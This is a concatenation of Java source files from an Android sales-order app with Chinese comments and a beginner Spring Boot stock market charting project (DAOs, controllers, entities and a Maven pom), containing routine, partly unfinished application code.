response.setResult((List<Spkfk>) XmlBeanUtils.fromXml(xml));
} else {
String desc = results[1];
String info = "调用成功,但返回失败原因:" + desc;
response.setIsOk(false);
response.setException(new Exception(info));
}
} else {
String info = "调用失败,请检查网络和服务器:"
+ ExceptionUtil.getStackTrace(response.getException());
response.setException(new Exception(info));
}
return response;
}
/**
* 获取所有的重要资料,由于数据较大,分段获取后再汇总
* @author caijun 2013-12-2
* @return
*/
@SuppressWarnings("unchecked")
public static WsResponse getChinseSpkfk() {
List<Spkfk> spkfk = new ArrayList<Spkfk>();
int sIdx = 0;
final int fechSize = 600;
WsResponse response = new WsResponse();
while(true){
response = getChinseSpkfk(sIdx, fechSize);
if(response.isOk() != true){
break;
}else{
List<Spkfk> subSpkfk = (List<Spkfk>)response.getResult();
spkfk.addAll(subSpkfk);
sIdx = sIdx + fechSize;
//若实际获取的个数比请求个数小,说明已经取到末尾,不需要再取下一次
if(subSpkfk.size() < fechSize){
response.setResult(spkfk);
break;
}
}
}
return response;
}
public static WsResponse changePrice(String spid, BigDecimal lshj) {
WsResponse r = new WsResponse();
Hashtable<String,Object> data = new Hashtable<String,Object>();
//data.put("ServiceName", IWebServiceName.SERVICE_SPKFK_PRICE);
data.put("Spid", spid);
data.put("Lshj", lshj);
r = WsRequest.call(IWebServiceName.SERVICE_SPKFK_PRICE,data);
return r;
}
public static WsResponse getSpkfks(int sIdx, int size){
WsResponse r = new WsResponse();
Hashtable<String,Object> data = new Hashtable<String,Object>();
data.put("StartIndex", sIdx);
data.put("Size", size);
Log.i(LOG_TAG, "开始获取第 " + sIdx + " 到 " + (sIdx + size) + " 个");
r = WsRequest.call(IWebServiceName.SERVICE_SPKFK_QUERY,data);
if(r.isOk()){
Log.i(LOG_TAG, "调用成功");
String results[] = (String[]) r.getResult();
String result = results[0];
if ("1".endsWith(result)) {
String xml = results[2];
Log.i(LOG_TAG, "开始转换xml到对象");
List<Spkfk> sps = (List<Spkfk>)XmlBeanUtils.fromXml(xml);
Log.i(LOG_TAG, "转换完成");
r.setResult(sps);
}else{
String desc = results[1];
String info = "调用成功,但返回失败原因:" + desc;
r.setIsOk(false);
r.setException(new Exception(info));
}
}else{
String info = "调用失败,请检查网络和服务器:"
+ ExceptionUtil.getStackTrace(r.getException());
r.setException(new Exception(info));
}
return r;
}
public static WsResponse getSpkfkSizeOfActive() {
WsResponse response = new WsResponse();
Hashtable<String,Object> data = new Hashtable<String,Object>();
//data.put("ServiceName", IWebServiceName.SERVICE_SPKFK_PRICE);
data.put("Active", "true");
response = WsRequest.call(IWebServiceName.SERVICE_SPKFK_SIZE,data);
if (response.isOk()) {
String results[] = (String[]) response.getResult();
String result = results[0];
if ("1".endsWith(result)) {
String xml = results[2];
XmlData xmlData = XmlUtils.getXmlData(xml);
Integer size = Integer.valueOf(xmlData.getValueStr("Size"));
response.setResult(size);
} else {
String desc = results[1];
String info = "调用成功,但返回失败原因:" + desc;
response.setIsOk(false);
response.setException(new Exception(info));
}
} else {
String info = "调用失败,请检查网络和服务器:"
+ ExceptionUtil.getStackTrace(response.getException());
response.setException(new Exception(info));
}
return response;
}
}
<file_sep>package com.ajmst.commmon.entity;
// default package
// Generated 2013-12-1 1:00:31 by Hibernate Tools 3.4.0.CR1
import java.util.Date;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
/**
* AjmstMaintain generated by hbm2java
* 删除复合主键类AjmstMaintainId,采用单一主键,cj,20131214
*/
@DatabaseTable
public class AjmstMaintain implements java.io.Serializable {
private static final long serialVersionUID = 9093653695636464295L;
@DatabaseField(id=true)
private String id;
@DatabaseField
private String spid;
@DatabaseField
private String pihao;
@DatabaseField
private Double shl;
@DatabaseField
private Double suggestQuantity;
@DatabaseField
private String spbh;
@DatabaseField
private String spmch;
@DatabaseField
private String shengccj;
@DatabaseField
private String shpgg;
@DatabaseField
private String dw;
@DatabaseField
private String cabinetNo;
@DatabaseField
private String zjm;
@DatabaseField
private Date maintainDate;
@DatabaseField
private Date createTime;
public AjmstMaintain() {
}
public AjmstMaintain(String id, String spid, String pihao, Date maintainDate) {
this.id = id;
this.spid = spid;
this.pihao = pihao;
this.maintainDate = maintainDate;
}
public AjmstMaintain(String id, String spid, String pihao, Double shl,
Double suggestQuantity, String spbh, String spmch, String shengccj,
String shpgg, String dw, String cabinetNo, String zjm,
Date maintainDate, Date createTime) {
this.id = id;
this.spid = spid;
this.pihao = pihao;
this.shl = shl;
this.suggestQuantity = suggestQuantity;
this.spbh = spbh;
this.spmch = spmch;
this.shengccj = shengccj;
this.shpgg = shpgg;
this.dw = dw;
this.cabinetNo = cabinetNo;
this.zjm = zjm;
this.maintainDate = maintainDate;
this.createTime = createTime;
}
public String getId() {
return this.id;
}
public void setId(String id) {
this.id = id;
}
public String getSpid() {
return this.spid;
}
public void setSpid(String spid) {
this.spid = spid;
}
public String getPihao() {
return this.pihao;
}
public void setPihao(String pihao) {
this.pihao = pihao;
}
public Double getShl() {
return this.shl;
}
public void setShl(Double shl) {
this.shl = shl;
}
public Double getSuggestQuantity() {
return this.suggestQuantity;
}
public void setSuggestQuantity(Double suggestQuantity) {
this.suggestQuantity = suggestQuantity;
}
public String getSpbh() {
return this.spbh;
}
public void setSpbh(String spbh) {
this.spbh = spbh;
}
public String getSpmch() {
return this.spmch;
}
public void setSpmch(String spmch) {
this.spmch = spmch;
}
public String getShengccj() {
return this.shengccj;
}
public void setShengccj(String shengccj) {
this.shengccj = shengccj;
}
public String getShpgg() {
return this.shpgg;
}
public void setShpgg(String shpgg) {
this.shpgg = shpgg;
}
public String getDw() {
return this.dw;
}
public void setDw(String dw) {
this.dw = dw;
}
public String getCabinetNo() {
return this.cabinetNo;
}
public void setCabinetNo(String cabinetNo) {
this.cabinetNo = cabinetNo;
}
public String getZjm() {
return this.zjm;
}
public void setZjm(String zjm) {
this.zjm = zjm;
}
public Date getMaintainDate() {
return this.maintainDate;
}
public void setMaintainDate(Date maintainDate) {
this.maintainDate = maintainDate;
}
public Date getCreateTime() {
return this.createTime;
}
public void setCreateTime(Date createTime) {
this.createTime = createTime;
}
}
<file_sep>package com.ajmst.common.xml;
public class test {
/**
* @author caijun 2013-11-1
* @param args
*/
public static void main(String[] args) {
/* String xml = XmlUtils.getXmlStr("C:\\caijun\\doc\\HZTobacco\\test\\¹ý³ÌÆÀ²â\\²âÊÔÊý¾Ý\\HYP000009528.xml");
System.out.println(xml);*/
String xml = "<d>dsss</d>";
XmlData xmlData = XmlUtils.getXmlData(xml);
System.out.println(xmlData);
/* Hashtable data = new Hashtable();
data.put("d1", "a");
data.put("d2", "b");
List multData = new ArrayList();
Hashtable subData = new Hashtable();
subData.put("d3.1", "c1");
subData.put("d3.2", "c2");
multData.add(subData);
data.put("d3", subData);
List subMultData = new ArrayList();
Hashtable subSubData = new Hashtable();
subSubData.put("d3.3.1", "c11");
subSubData.put("d3.3.2", "c22");
subMultData.add(subSubData);
subData.put("d3.3", subMultData);
xml = XmlUtils.getXmlStr(data);
System.out.println(xml);
XmlData xmlData = XmlUtils.getXmlData(xml);
System.out.println(xmlData);
Object value = xmlData.getValue("d2");
System.out.println(value);*/
}
}
<file_sep>package com.ajmst.common.response;
import com.ajmst.common.exception.ExceptionUtil;
public class Response {
private boolean isOk = true;
private Object result = null;
private Exception exception = null;
public boolean isOk(){
return isOk;
}
public void setIsOk(boolean isOk){
this.isOk = isOk;
}
public void setResult(Object result){
this.result = result;
}
public void setException(Exception e){
this.setIsOk(false);
this.exception = e;
}
public Object getResult() {
return result;
}
public Exception getException() {
return exception;
}
public String getExceptionStr(){
return ExceptionUtil.getStackTrace(this.getException());
}
}
<file_sep>package com.ajmst.commmon.entity;
import com.j256.ormlite.field.DatabaseField;
// Generated 2013-11-6 22:08:05 by Hibernate Tools 3.4.0.CR1
/**
* AjmstGh generated by hbm2java
*/
public class AjmstGh implements java.io.Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
@DatabaseField
private String spbh;
@DatabaseField
private String gh;
@DatabaseField
private String spid;
public AjmstGh() {
}
public AjmstGh(String spbh, String gh) {
this.spbh = spbh;
this.gh = gh;
}
public AjmstGh(String spbh, String gh, String spid) {
this.spbh = spbh;
this.gh = gh;
this.spid = spid;
}
public String getSpbh() {
return this.spbh;
}
public void setSpbh(String spbh) {
this.spbh = spbh;
}
public String getGh() {
return this.gh;
}
public void setGh(String gh) {
this.gh = gh;
}
public String getSpid() {
return this.spid;
}
public void setSpid(String spid) {
this.spid = spid;
}
}
<file_sep>package com.ajmst.android.salesorder;
import java.text.NumberFormat;
import java.util.ArrayList;
import java.util.List;
import com.ajmst.android.R;
import com.ajmst.android.application.AjmstApplication;
import com.ajmst.android.entity.SalesOrder;
import com.ajmst.android.entity.SalesOrderItem;
import com.ajmst.android.service.SalesOrderService;
import android.os.Bundle;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.content.Intent;
import android.view.GestureDetector;
import android.view.Menu;
import android.view.MotionEvent;
import android.view.View;
import android.view.Window;
import android.view.View.OnClickListener;
import android.view.View.OnTouchListener;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
public class SalesOrderActivity extends Activity implements android.view.GestureDetector.OnGestureListener{
private AjmstApplication app;
private SalesOrder salesOrder;
private SalesOrderService salesOrderService;
private GestureDetector gestureDetector = null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_sales_order);
app = (AjmstApplication)getApplication();
salesOrder = app.getCurrSalesOrder();
this.salesOrderService = new SalesOrderService(SalesOrderActivity.this);
final ListView lvOrderItem = (ListView) findViewById(R.id.lvOrderItem);
//声明检测手势事件
gestureDetector = new GestureDetector(this,this);
OnTouchListener onTouchListener = new OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
//v.requestFocus();
gestureDetector.onTouchEvent(event);
return false;
}
};
lvOrderItem.setOnTouchListener(onTouchListener);
//结算按钮
Button btnFinish = (Button) findViewById(R.id.btnFinish);
btnFinish.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
if(salesOrder != null){
EditText edtCustomer = (EditText)findViewById(R.id.edtCustomer);
salesOrder.setCustomer(edtCustomer.getText().toString().trim());
salesOrderService.finishOrder(salesOrder);
app.setCurrSalesOrder(null);
salesOrder = app.getCurrSalesOrder();
displaySalesOrder();
setReturnResult();
}else{
Toast.makeText(SalesOrderActivity.this, "无单据可以结算", Toast.LENGTH_LONG).show();
}
}
});
//列表长按事件
lvOrderItem.setOnItemLongClickListener(new OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> arg0, View v,
final int position, long id) {
AlertDialog.Builder builder = new Builder(
SalesOrderActivity.this);
// builder.setMessage("是否继续上次未完成的单据?");
// builder.setTitle("提示");
final CharSequence[] choices = new CharSequence[1];
choices[0] = "删除";
builder.setItems(choices,
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog,
int which) {
switch (which) {
case 0:
SalesOrderItem orderItem = (SalesOrderItem) lvOrderItem
.getItemAtPosition(position);
salesOrder.deleteItem(orderItem);
salesOrderService.saveOrUpdate(salesOrder);
setReturnResult();
refreshSalesOrder();
break;
}
dialog.dismiss();
}
});
builder.create().show();
return false;
}
});
displaySalesOrder();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.sales_order, menu);
return true;
}
private void displaySalesOrder() {
ListView lvOrderItem = (ListView) findViewById(R.id.lvOrderItem);
List<SalesOrderItem> items = new ArrayList<SalesOrderItem>();
if (this.salesOrder != null) {
items = this.salesOrder.getItems();
}
OrderItemListAdaper adapter = new OrderItemListAdaper(
SalesOrderActivity.this, items);
lvOrderItem.setAdapter(adapter);
showOrderInfo();
/* if (this.salesOrder != null) {
List<SalesOrderItem> items = this.salesOrder.getItems();
ListView lvOrderItem = (ListView) findViewById(R.id.lvOrderItem);
OrderItemListAdaper adapter = new OrderItemListAdaper(
SalesOrderActivity.this, items);
lvOrderItem.setAdapter(adapter);
showOrderInfo();
}*/
}
private void refreshSalesOrder() {
ListView lvOrderItem = (ListView) findViewById(R.id.lvOrderItem);
OrderItemListAdaper lvAdapter = ((OrderItemListAdaper) lvOrderItem
.getAdapter());
lvAdapter.notifyDataSetChanged();
showOrderInfo();
}
/**
* 显示单据主信息
*
* @author caijun 2014-1-6
*/
private void showOrderInfo() {
int count = 0;
Double amount = 0.0;
TextView tvOrderNo = (TextView) findViewById(R.id.tvOrderNo);
EditText edtCustomer = (EditText) findViewById(R.id.edtCustomer);
TextView tvAmount = (TextView) findViewById(R.id.tvAmount);
TextView tvCount = (TextView) findViewById(R.id.tvCount);
if (this.salesOrder != null) {
tvOrderNo.setText(this.salesOrder.getOrderNo());
edtCustomer.setText(this.salesOrder.getCustomer());
count = this.salesOrder.getItems().size();
amount = SalesOrderService.getOrderAmount(this.salesOrder);
}
tvCount.setText(String.valueOf(count));
NumberFormat nf = NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(3);
tvAmount.setText(nf.format(amount));//显示时保留3位小数
}
private void setReturnResult() {
// 设置返回商品列表的结果
Intent resultIntent = new Intent();
setResult(Activity.RESULT_OK, resultIntent);
}
@Override
public boolean onTouchEvent(MotionEvent event) {
return gestureDetector.onTouchEvent(event); // 注册手势事件
}
@Override
public boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX, float velocityY) {
boolean switchView = false;
if (e2.getX() - e1.getX() > 250) { // 从左向右滑动(左进右出)
finish();
} else if (e2.getX() - e1.getX() < -250) { // 从右向左滑动(右进左出)
}
return true;
}
@Override
public boolean onDown(MotionEvent arg0) {
// TODO Auto-generated method stub
return false;
}
@Override
public void onLongPress(MotionEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public boolean onScroll(MotionEvent arg0, MotionEvent arg1, float arg2,
float arg3) {
// TODO Auto-generated method stub
return false;
}
@Override
public void onShowPress(MotionEvent e) {
// TODO Auto-generated method stub
}
@Override
public boolean onSingleTapUp(MotionEvent e) {
// TODO Auto-generated method stub
return false;
}
}
| ba4beef0864d630f82e2ec9a15d5c4d388d050ec | [
"Java"
] | 25 | Java | rt32167/AJMST | 4b83e8e9d8d6074f18de256c12b01c7d8d88651f | 5a3ede81619cafefb3cc764922236bf4aee434bb |
refs/heads/master | <repo_name>Shashidhar1998/shashi<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/SectorDaoImpl.java
package com.spring.StockMarketCharting.dao;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
import org.springframework.stereotype.Repository;
import com.spring.StockMarketCharting.model.Sector;
@Repository
public class SectorDaoImpl implements SectorDao{
public static Connection Connect() throws ClassNotFoundException, SQLException
{
Class.forName("com.mysql.jdbc.Driver");
Connection con=DriverManager.getConnection("jdbc:mysql://localhost:3306/stock","root","root");
System.out.println("connect");
return con;
}
public Sector Insert(Sector sector) throws ClassNotFoundException, SQLException {
Connection con=Connect();
PreparedStatement stmt=con.prepareStatement("Insert into SECTORS(sector_name,brief) values(?,?)");
stmt.setString(1, sector.getName());
stmt.setString(2, sector.getBrief());
System.out.println(stmt.execute());
return null;
}
public List<Sector> GetAllSector() throws ClassNotFoundException, SQLException {
Connection con=Connect();
PreparedStatement stmt=con.prepareStatement("Select * from sectors");
ResultSet rs=stmt.executeQuery();
List<Sector> list=new ArrayList<Sector>();
while(rs.next())
{
Sector sector=new Sector();
sector.setId(rs.getInt(1));
sector.setName(rs.getString(2));
sector.setBrief(rs.getString(3));
list.add(sector);
}
return list;
}
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Sector sector=new Sector();
sector.setName("hardware");
sector.setBrief("easy");
SectorDaoImpl sec=new SectorDaoImpl();
sec.Insert(sector);
List<Sector> list=sec.GetAllSector();
for(Sector s:list)
{
System.out.println(s);
}
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/controller/CompanyController.java
package com.spring.StockMarketCharting.controller;
import java.sql.SQLException;
import java.util.List;
import org.springframework.ui.Model;
import org.springframework.web.servlet.ModelAndView;
import com.spring.StockMarketCharting.model.Company;
public interface CompanyController {
public String insertCompany(Model model) throws Exception;
public Company updateCompany(Company company)throws Exception;
public ModelAndView getCompanyList() throws Exception;
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/StockExchangeImpl.java
package com.spring.StockMarketCharting.dao;
import java.util.List;
import org.springframework.stereotype.Repository;
import com.spring.StockMarketCharting.model.StockExchange;
@Repository
public class StockExchangeImpl implements StockExchangeDao {
public StockExchange insertStock(StockExchange stockEx) {
// TODO Auto-generated method stub
return null;
}
public List<StockExchange> GetAllStock() {
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/IPOPlanedDao.java
package com.spring.StockMarketCharting.dao;
import java.util.List;
import com.spring.StockMarketCharting.model.IPOPlaned;
public interface IPOPlanedDao {
public IPOPlaned Insert(IPOPlaned ipo);
public List<IPOPlaned> GetAllIPOPlaned();
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/StockPriceDaoImpl.java
package com.spring.StockMarketCharting.dao;
import java.util.List;
import org.springframework.stereotype.Repository;
import com.spring.StockMarketCharting.model.StockPrice;
@Repository
public class StockPriceDaoImpl implements StockPriceDao {
public StockPrice insertStock(StockPrice stock) {
// TODO Auto-generated method stub
return null;
}
public StockPrice updateStock(StockPrice stock) {
// TODO Auto-generated method stub
return null;
}
public List<StockPrice> getStockPrice() {
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/controller/LoginControllerImpl.java
package com.spring.StockMarketCharting.controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.spring.StockMarketCharting.model.Login;
import com.spring.StockMarketCharting.model.User;
import com.spring.StockMarketCharting.service.UserService;
@Controller
public class LoginControllerImpl implements LoginController {
@Autowired
private UserController userController;
@RequestMapping(path="login", method = RequestMethod.GET)
public String login(ModelMap model)
{
Login login=new Login();
model.addAttribute("login", login);
return "login";
}
@RequestMapping(path="login", method = RequestMethod.POST)
public String loginconnect(Login login,ModelMap model)
{
List<User> list=userController.getUserList();
User user1=null;
for(User user:list)
{
if(login.getUserName().equalsIgnoreCase(user.getUserName())&&login.getPassword().equals(user.getPassword()))
{
user1=user;
}
}
if(user1!=null)
return "userLandingPage";
else
return "redirect:login";
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/IPOPlannedDaoImpl.java
package com.spring.StockMarketCharting.dao;
import java.util.List;
import org.springframework.stereotype.Repository;
import com.spring.StockMarketCharting.model.IPOPlaned;
@Repository
public class IPOPlannedDaoImpl implements IPOPlanedDao {
public IPOPlaned Insert(IPOPlaned ipo) {
// TODO Auto-generated method stub
return null;
}
public List<IPOPlaned> GetAllIPOPlaned() {
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/controller/CompanyControllerImpl.java
package com.spring.StockMarketCharting.controller;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import com.spring.StockMarketCharting.model.Company;
import com.spring.StockMarketCharting.service.*;
@Controller
public class CompanyControllerImpl implements CompanyController {
@Autowired
private CompanyService companyService;
@RequestMapping(path="/insertcompany",method = RequestMethod.GET )
public String insertCompany(Model model)
{
Company company=new Company();
model.addAttribute("company",company);
return "insertCompanyPage";
}
@RequestMapping(path="/insert",method = RequestMethod.POST)
public String insert(Company company ,Model model)
{
System.out.println(company);
try {
companyService.insertCompany(company);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return "redirect:companyList";
}
@RequestMapping(path="/admin")
public String admin()
{
return "adminLandingPage";
}
public Company updateCompany(Company company) throws Exception {
return companyService.updateCompany(company);
}
@RequestMapping(path="/companyList")
public ModelAndView getCompanyList() throws Exception {
List<Company> list=companyService.getCompanyList();
ModelAndView mv=new ModelAndView();
mv.setViewName("listCompanyDetails");
mv.addObject("list", list);
return mv;
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/StockPriceDao.java
package com.spring.StockMarketCharting.dao;
import java.util.List;
import com.spring.StockMarketCharting.model.StockPrice;
public interface StockPriceDao {
public StockPrice insertStock(StockPrice stock);
public StockPrice updateStock(StockPrice stock);
public List<StockPrice> getStockPrice();
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/model/IPOPlaned.java
package com.spring.StockMarketCharting.model;
import java.util.*;
public class IPOPlaned {
private int id;
private String companyName;
private String stockExchange;
private double pricePerShare;
private int totalNumberOfShares;
private Date openDateTime;
private String remarks;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getStockExchange() {
return stockExchange;
}
public void setStockExchange(String stockExchange) {
this.stockExchange = stockExchange;
}
public double getPricePerShare() {
return pricePerShare;
}
public void setPricePerShare(double pricePerShare) {
this.pricePerShare = pricePerShare;
}
public int getTotalNumberOfShares() {
return totalNumberOfShares;
}
public void setTotalNumberOfShares(int totalNumberOfShares) {
this.totalNumberOfShares = totalNumberOfShares;
}
public Date getOpenDateTime() {
return openDateTime;
}
public void setOpenDateTime(Date openDateTime) {
this.openDateTime = openDateTime;
}
public String getRemarks() {
return remarks;
}
public void setRemarks(String remarks) {
this.remarks = remarks;
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/controller/UserControllerImpl.java
package com.spring.StockMarketCharting.controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.spring.StockMarketCharting.model.Login;
import com.spring.StockMarketCharting.model.User;
import com.spring.StockMarketCharting.service.*;
@Controller
public class UserControllerImpl implements UserController {
@Autowired
private UserService userService;
@RequestMapping(path="/registerUser", method = RequestMethod.GET)
public String registerUser(ModelMap model) throws Exception {
User user=new User();
model.addAttribute("user1",user);
return "userRegistration";
}
@RequestMapping(path="/registerUser", method = RequestMethod.POST)
public String register(User user,ModelMap model)
{
System.out.println(user);
try {
userService.registerUser(user);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return "redirect:login";
}
public User updateUser(User user) throws Exception {
return userService.updateUser(user);
}
@Override
public List<User> getUserList() {
// TODO Auto-generated method stub
return userService.getUserList();
}
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/UserDaoImpl.java
package com.spring.StockMarketCharting.dao;
@Repository
public class UserDaoImpl implements UserDao {
}
<file_sep>/StockMarketCharting/src/main/java/com/spring/StockMarketCharting/dao/CompanyDaoImpl.java
package com.spring.StockMarketCharting.dao;
//package com.premium.stc.dao;
//
//import java.sql.Connection;
//import java.sql.DriverManager;
//import java.sql.PreparedStatement;
//import java.sql.ResultSet;
//import java.sql.SQLException;
//import java.util.ArrayList;
//import java.util.List;
//
//import org.springframework.stereotype.Component;
//import org.springframework.stereotype.Repository;
//
//import com.premium.stc.model.Company;
//@Repository
//public class CompanyDaoImpl implements CompanyDao{
//
// public static Connection connect() throws ClassNotFoundException, SQLException
// {
//
// Class.forName("com.mysql.jdbc.Driver");
//
// Connection con=DriverManager.getConnection("jdbc:mysql://localhost:3306/stock","root","root");
// System.out.println("connect");
// return con;
// }
//
// public Company insertCompany(Company company)throws ClassNotFoundException, SQLException {
// Connection con=connect();
// PreparedStatement stmt=con.prepareStatement("Insert into company (`company_Name`, `turnover`, `ceo`, `boardofdirectors`, `sector_id`, `breifwriteup`, `stock_Code`) values(?,?,?,?,?,?,?)");
//
// stmt.setString(1, company.getCompanyName());
// stmt.setDouble(2, company.getTurnOver());
// stmt.setString(3, company.getCeo());
// stmt.setString(4, company.getBoardOfDirectors());
// stmt.setInt(5, company.getSectorId());
// stmt.setString(6, company.getBriefWriteUp());
// stmt.setInt(7, company.getStockCode());
// System.out.println(stmt.execute());
// return company;
// }
//
// public Company updateCompany(Company company)throws ClassNotFoundException, SQLException {
// Connection con=connect();
// PreparedStatement stmt=con.prepareStatement("UPDATE company SET company_name=?,turnover=?,ceo=?,boardofdirectors=?,sector_id=?,breifwriteup=?,stock_code=? where company_code=?");
// stmt.setString(1, company.getCompanyName());
// stmt.setDouble(2, company.getTurnOver());
// stmt.setString(3, company.getCeo());
// stmt.setString(4, company.getBoardOfDirectors());
// stmt.setInt(5, company.getSectorId());
// stmt.setString(6, company.getBriefWriteUp());
// stmt.setInt(7, company.getStockCode());
// stmt.setInt(8, company.getCompanyCode());
//
// System.out.println(stmt.execute());
//
// return company;
// }
// public List<Company> getCompanyList() throws ClassNotFoundException, SQLException {
// Connection con=connect();
// PreparedStatement stmt=con.prepareStatement("Select * from company");
// ResultSet rs=stmt.executeQuery();
// List<Company> list=new ArrayList<Company>();
// while(rs.next())
// {
// Company comp=new Company();
// comp.setCompanyCode(rs.getInt(1));
// comp.setCompanyName(rs.getString(2));
// comp.setTurnOver(rs.getDouble(3));
// comp.setCeo(rs.getString(4));
// comp.setBoardOfDirectors(rs.getString(5));
// comp.setSectorId(rs.getInt(6));
// comp.setBriefWriteUp(rs.getString(7));
// comp.setStockCode(rs.getInt(8));
//
// list.add(comp);
//
// }
// return list;
// }
//
//}
<file_sep>/StockMarketCharting/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.1.7.RELEASE</version>
<relativePath>../PROJECTNAME/pom.xml</relativePath> <!-- lookup parent from repository -->
</parent>
<groupId>com.spring</groupId>
<artifactId>StockMarketCharting</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>StockMarketCharting</name>
<description>Demo project for Spring Boot</description>
<repositories>
<repository>
<id>Java.Net</id>
<url>http://download.java.net/maven/2/</url>
</repository>
</repositories>
<properties>
<java.version>1.8</java.version>
<spring.version>4.1.5.RELEASE</spring.version>
<hibernate.version>4.3.8.Final</hibernate.version>
<mysql.version>5.1.10</mysql.version>
<junit-version>4.11</junit-version>
<servlet-api-version>3.1.0</servlet-api-version>
<jsp-version>2.1</jsp-version>
<jstl-version>1.2</jstl-version>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- JSTL -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.10</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-orm</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<version>${spring.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>${mysql.version}</version>
</dependency>
<!-- Servlet and JSP -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>${servlet-api-version}</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>${jsp-version}</version>
<scope>provided</scope>
</dependency>
<!-- JSTL dependency -->
<dependency>
<groupId>jstl</groupId>
<artifactId>jstl</artifactId>
<version>${jstl-version}</version>
</dependency>
<!-- JUnit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit-version}</version>
<scope>test</scope>
</dependency>
